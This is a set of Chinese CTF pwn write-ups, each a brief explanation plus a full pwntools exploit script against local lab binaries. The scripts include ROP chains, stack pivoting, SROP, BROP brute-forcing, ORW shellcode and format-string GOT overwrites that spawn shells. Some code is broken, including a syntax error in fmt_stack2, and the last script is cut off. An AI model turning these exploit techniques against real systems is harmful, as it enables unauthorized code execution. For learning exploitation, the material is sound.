___stack_chk_fail
给出了可以修改任意地址八字节的函数
存在栈溢出
可以将 ___stack_chk_fail改为ret,直接绕过canary,进行ret2libc。
exp
from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('___stack_chk_fail')
#io=remote('node4.anna.nssctf.cn',28486)
elf=ELF('___stack_chk_fail')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
ret=0x40101a
rdi=0x401363
main=0x40127a
gdb.attach(io)
pause()
io.sendlineafter(b'addr?\n', str(0x404020))
io.sendafter(b'value?\n', p64(ret))
payload1=b'a'*(0x18)+p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)
io.sendline(payload1)
read_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
base=read_ad-libc.sym['read']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x18)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload2)
io.interactive()
pthread
通过栈溢出修改canary的值来绕过canary。
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io=gdb.debug('./pthread', 'b vuln')
io=process('./pthread')
elf=ELF('./pthread')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.sendafter(b'name?\n', b'a')
payload=p64(0)*5+p64(0x1234)+p64(0)+p64(0x4012b0)
payload=payload.ljust(0x848,b'\x00')+p64(0x1234)
io.sendlineafter(b'>>\n', payload)
io.interactive()
以上方法由于保护机制不同要在ubuntu18的环境下操作。
pie
栈溢出一个字节将返回地址改为backdoor的地址。
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io=process('./pie')
elf=ELF('./pie')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.recv()
payload=b'a'*(0x10)+p8(0x43)
io.send(payload)
io.interactive()
pie_two
栈溢出修改ret最后一字节返回到put函数,打印出 funlockfile函数地址,获得libcbase。
再构造ROP链获得shell。
exp
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
io=process('./pie_two')
elf=ELF('./pie_two')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
gdb.attach(io)
pause()
io.recv()
payload=b'a'*(0x10)+p8(0x57)
io.send(payload)
base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['funlockfile']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh\x00'))
rdi=base+0x2a3e5
ret=base+0x29cd6
payload1=b'a'*(0x10)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.send(payload1)
io.interactive()
Stack_migration
由于栈溢出长度不够,栈迁移到bss段构造rop链,由于直接构造时esp没有可写与可执行权限,所以利用大量垃圾数据使esp抬到可执行的地址。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = process('./Stack_migration')
elf = ELF('./Stack_migration')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi=0x401323
ret=0x40101a
leave=0x401275
name=0x4040A0
sh=name
payload=b'/bin/sh\x00'.ljust(0x800,b'\x00')+p64(rdi)+p64(sh)+ p64(elf.sym['system'])
sa(b'name?\n',payload)
sa(b'>>',b'a'*8+p64(name+0x800-8)+p64(leave))
inter()
srop
该题使用srop的方法解决。
先通过写入/bin/sh,再通过write的输出获得/bin/sh的地址。
返回vuln函数。 构造sigfram结构体,获得shell。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = process('./srop')
elf = ELF('./srop')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rax_syscall=0x4011ed
syscall=0x4011da
s(b'a'*0x10+p64(elf.sym['vuln']))
stack=l64()
sh=stack-0x20
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = sh
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall
s(b'/bin/sh\x00'+b'a'*8+p64(rax_syscall)+p64(0xf)+flat(sigframe))
lg('stack', stack)
inter()
brop
通过爆破依次找到 buf+size,stop_gadget,pop6ret,puts_plt。
但是好难,根本不会。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
#context(os='linux', arch='amd64', log_level='debug')
p = process('./brop')
elf = ELF('./brop')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def find_stop_gadget(buf_size, start_addr = 0x400000, end_addr = 0x401000):
stop_gadget = start_addr
while True:
time.sleep(0.1)
stop_gadget += 1
if(stop_gadget > end_addr):
log.info('not found!')
return 0
payload = b'a' * buf_size + p64(stop_gadget)
try:
p = process('./brop')
p.sendafter(b'>>\n', payload)
p.recv()
p.close()
return stop_gadget
except EOFError as e:
p.close()
log.info("not 0x%x, try harder!", stop_gadget)
def get_stop_gadget():
for i in range(0x18, 0x100, 8):
rl = find_stop_gadget(i, 0x400560)
if(rl):
log.info("find one stop gadget: 0x%x", rl)
break
def find_pop6_ret(buf_size, stop_gadget, start_addr = 0x400000, end_addr = 0x401000):
pop6_ret = start_addr
stop_gadget = stop_gadget
while True:
time.sleep(0.1)
pop6_ret += 1
if(pop6_ret > end_addr):
log.info('not found')
return 0
payload = b'a' * buf_size + p64(pop6_ret) + p64(0) * 6 + p64(stop_gadget)
try:
p = process('./brop')
p.sendafter('>>\n', payload)
resp = p.recv(timeout=0.5)
p.close()
log.info("find one stop_gadget: 0x%x", pop6_ret)
if b'>>' in resp:
try:
payload = b'a' * buf_size + p64(pop6_ret)
p = process('./brop')
p.sendafter('>>\n', payload)
p.recv()
p.close()
except EOFError as e:
p.close()
log.info("find useful gadget: 0x%x", pop6_ret)
return pop6_ret
except EOFError as e:
p.close()
log.info("not 0x%x,try harder", pop6_ret)
stop_gadget=0x400570
pop6_ret=0x40075a
rdi=pop6_ret+9
ret=pop6_ret+0xa
def find_puts_plt(buf_size, stop_gadget, start_addr = 0x400000, end_addr = 0x401000):
elf_magic_addr = 0x400000
puts_plt = start_addr
while True:
puts_plt += 1
payload = b'a' * buf_size + p64(rdi) + p64(elf_magic_addr) + p64(puts_plt) + p64(stop_gadget)
try:
p = process('./brop')
p.sendafter(b'>>\n', payload)
resp1 = p.recvline(timeout=0.5)
resp2 = p.recvline(timeout=0.5)
if b'\x7fELF' in resp1 and b'>>\n' in resp2:
p.close()
log.info("puts_plt: 0x%x", puts_plt)
return puts_plt
p.close()
log.info("find one stop gadget: 0x%x", puts_plt)
except EOFError as e:
p.close()
log.info("not 0x%x, try harder", puts_plt)
puts_plt=0x400515
def dump_memory(buf_size, stop_gadget, puts_plt, start_addr=0x400000, end_addr = 0x401000):
result = b''
while start_addr < end_addr:
sleep(0.1)
payload = b'a' * buf_size + p64(rdi) + p64(start_addr) + p64(puts_plt)
try:
p = process('./brop')
p.sendafter(b'>>\n', payload)
resp1 = p.recv(timeout=0.5)
if resp1 == b'\n':
resp = b'\x00'
elif resp1[-1:] == b'\n':
log.info("[tail]leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
resp = resp1[:-1] + b'\x00'
else:
resp = resp1
if resp != resp1:
log.info("[change]resp1: 0x%x: %s --> resp1: 0x%x: %s" % (start_addr, (resp1 or b'').hex(), start_addr, (resp or b'').hex()))
log.info("leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
result += resp
start_addr += len(resp)
p.close()
except Exception as e:
print(e)
log.info("connect error")
with open('pwn','wb') as f:
f.write(result)
p = process('./brop')
sa(b'>>\n', b'a'*0x18 + p64(rdi) + p64(0x601018) + p64(puts_plt) + p64(stop_gadget))
libc_base = l64() - libc.sym['puts']
lg('libc_base', libc_base)
ret = pop6_ret + 0xa
system, binsh = get_sb()
sa(b'>>\n', b'a'*0x18 + p64(ret) + p64(rdi) + p64(binsh) + p64(system))
inter()
close
直接给出了shell,但关闭了标准输出,我们需要重定向标准输出。
ret2shellcode_orw
给出了buf的地址,关闭了NX保护,存在栈溢出,但是开启了沙盒,需要使用orw
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = process('./ret2shellcode_orw')
elf = ELF('./ret2shellcode_orw')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rl('gift : ')
stack = int(p.recv(14), 16)
#debug('b *0x4012db')
sa(b'>>\n', b'a'*0x10 + p64(stack + 0x18) + asm(shellcraft.cat('/flag')))
lg('stack', stack)
inter()
ret2libc_orw
存在栈溢出,开启了沙盒与NX保护。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = process('./ret2libc_orw')
elf = ELF('./ret2libc_orw')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi = 0x401333
ret = 0x40101a
#debug('b *0x4012a0')
sa(b'>>\n', b'a'*0x10 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['vuln']))
libc_base = l64() - libc.sym['puts']
system, binsh = get_sb()
rax = libc_base + 0x45eb0
syscall = libc_base + next(libc.search(asm('syscall; ret;')))
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
buf = 0x4040D0
flag = 0x4040a0
payload = b'a'*0x10
# read flag -> buf
payload += p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx_r12) + p64(8)*2 + p64(read)
# open flag
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(open_)
# read flag
payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx_r12) + p64(0x30)*2 + p64(read)
# write flag
payload += p64(rdi) + p64(1) + p64(write)
sa(b'>>\n', payload)
sleep(1)
s(b'/flag')
#pause()
inter()
one_gadget
直接给出了puts的真实地址可以获得base。
随后可以向buf的地址改为其他函数的地址,接下来再在buf中写入onegadget。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64')
p = process('./one_gadget')
elf = ELF('./one_gadget')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rl(b'gitf is ')
puts=int(r(14),16)
base=puts-libc.sym['puts']
one_gadget=base+0xebcf8
sla(b'addr?\n', str(elf.got['exit']))
sa(b'value?\n', p64(one_gadget))
inter()
Integer_Overflow
存在整数溢出漏洞。
第一个输入点除输入-1.造成栈溢出
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64')
p = process('./Integer_Overflow')
elf = ELF('./Integer_Overflow')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi = 0x401303
ret = 0x40101a
sla(b'size?\n', str(-1))
payload=b'a'*0x10 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['vuln'])
sa(b'>>\n', payload)
libc_base = l64() - libc.sym['puts']
system, binsh = get_sb()
sla(b'size?\n', str(-1))
payload=b'a'*0x10 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sa(b'>>\n', payload)
lg('libc_base', libc_base)
inter()
Integer_Overflow_two
也是整数溢出,但是这道题是通过回绕早成的。
8*num可以造成回绕
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64')
p = process('./Integer_Overflow_two')
elf = ELF('./Integer_Overflow_two')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rdi = 0x4013f3
ret = 0x40101a
sla(b'size?\n',str(0x20000010))
def ct(idx, data):
sla(b'idx?\n', str(idx))
sa(b'value?\n', data)
ct(23, p64(rdi))
ct(24, p64(elf.got['puts']))
ct(25, p64(elf.sym['puts']))
ct(26, p64(elf.sym['vuln']))
for i in range(6):
ct(0, p64(0))
libc_base = l64() - libc.sym['puts']
system, binsh = get_sb()
sla(b'size?\n', str(0x20000010))
ct(23, p64(ret))
ct(24, p64(rdi))
ct(25, p64(binsh))
ct(26, p64(system))
for i in range(6):
ct(0, p64(0))
inter()
Format_String_Read_Anywhere_one
存在格式化字符串漏洞,将flag读入4040A0,利用%s将其读出。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64')
p = process('./Format_String_Read_Anywhere_one')
elf = ELF('./Format_String_Read_Anywhere_one')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
flag=0x4040A0
payload=b'%9$saaaa'+p64(0x4040A0)
sa(b'>>\n',payload)
inter()
Format_String_Read_Anywhere_two
通过%p泄露存放在栈上的flag,再将输出的数据转换为字符。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64')
p = process('./Format_String_Read_Anywhere_two')
elf = ELF('./Format_String_Read_Anywhere_two')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sa(b'>>\n', b'%8$p.%9$p.')
a = rl(b'.')[2:-1][::-1]
b = rl(b'.')[2:-1][::-1]
flag = ''
for i in range(0, len(a), 2):
c = a[i:i+2][::-1]
flag += chr(int(c, 16))
for i in range(0, len(b), 2):
c = b[i:i+2][::-1]
flag += chr(int(c, 16))
print(flag)
inter()
fmt
存在格式化字符串漏洞。通过格式化字符串泄露canary和libcbase。在栈溢出处修改ret为onegadget。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt')
elf = ELF('./fmt')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sa(b'name?\n', b'%7$p%3$p')
rl(b'Hello ')
canary = int16(r(18))
libc_base = int16(r(14)) - libc.sym['write'] - 23
one_gadget = libc_base + 0xebcf1
buf = libc_base + 0x21a440
sa(b'>>\n', b'a'*8 + p64(canary) + p64(buf + 0x70) + p64(one_gadget))
lg('canary', canary)
lg('libc_base', libc_base)
#pause()
inter()
fmt_stack
存在格式化字符串漏洞,且无限循环,将printf函数改为system函数即可。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt_stack')
elf = ELF('./fmt_stack')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sa(b'>>\n', b'%1$p%3$p%38$p')
stack = int16(r(14))
libc_base = int16(r(14)) - libc.sym['read'] - 0x12
pro_base = int16(r(14)) - elf.sym['main']
system, binsh = get_sb()
printf_got = pro_base + elf.got['printf']
payload = fmtstr_payload(6, {printf_got:system})
sa(b'>>\n', payload)
inter()
fmt_stack2
由于循环只能进行两次,所以我们先泄露libcbase和stack,然后修改i的值,由于onegadget都不满足要求,所以改为ROP链。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt_stack2')
elf = ELF('./fmt_stack2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sa(b'>>\n', b'%1$p%3$p')
stack=int16(r(14))
libc_base=int16(r(14))-libc.sym['read']-18
i=stack-0x4
ret_addr=stack+0x118
system, binsh = get_sb()
rdi=libc_base+0x2a3e5
ret=libc_base+0x29cd6
sa(b'>>\n', b'%255c%10$hhn'.ljust(0x10, b'\x00') + p64(i + 3))
for i in range(6):
payload = b'%' + str((ret>> 8*i) & 0xff).encode() + b'c%10$hhn'
payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + i)
sa(b'>>\n', payload)
for i in range(6):
payload = b'%' + str((rdi>> 8*i) & 0xff).encode() + b'c%10$hhn'
payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 8 + i)
sa(b'>>\n', payload)
for i in range(6):
payload = b'%' + str((binsh >> 8*i) & 0xff).encode() + b'c%10$hhn'
payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 0x10 + i)
sa(b'>>\n', payload)
for i in range(6):
payload = b'%' + str((system >> 8*i) & 0xff).encode() + b'c%10$hhn'
payload = payload.ljust(0x10, b'\x00') + p64(ret_addr + 0x18 + i)
sa(b'>>\n', payload)
sa(b'>>\n',b'%10$hhn'.ljust(0x10 b'\x00')+p64(stack-4+3))
inter()
fmt_stack3
由于只有一次修改的机会,将fini_array函数改为vuln让程序再执行一次。
然后就会执行已经被改为system的printf函数。
exp
from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
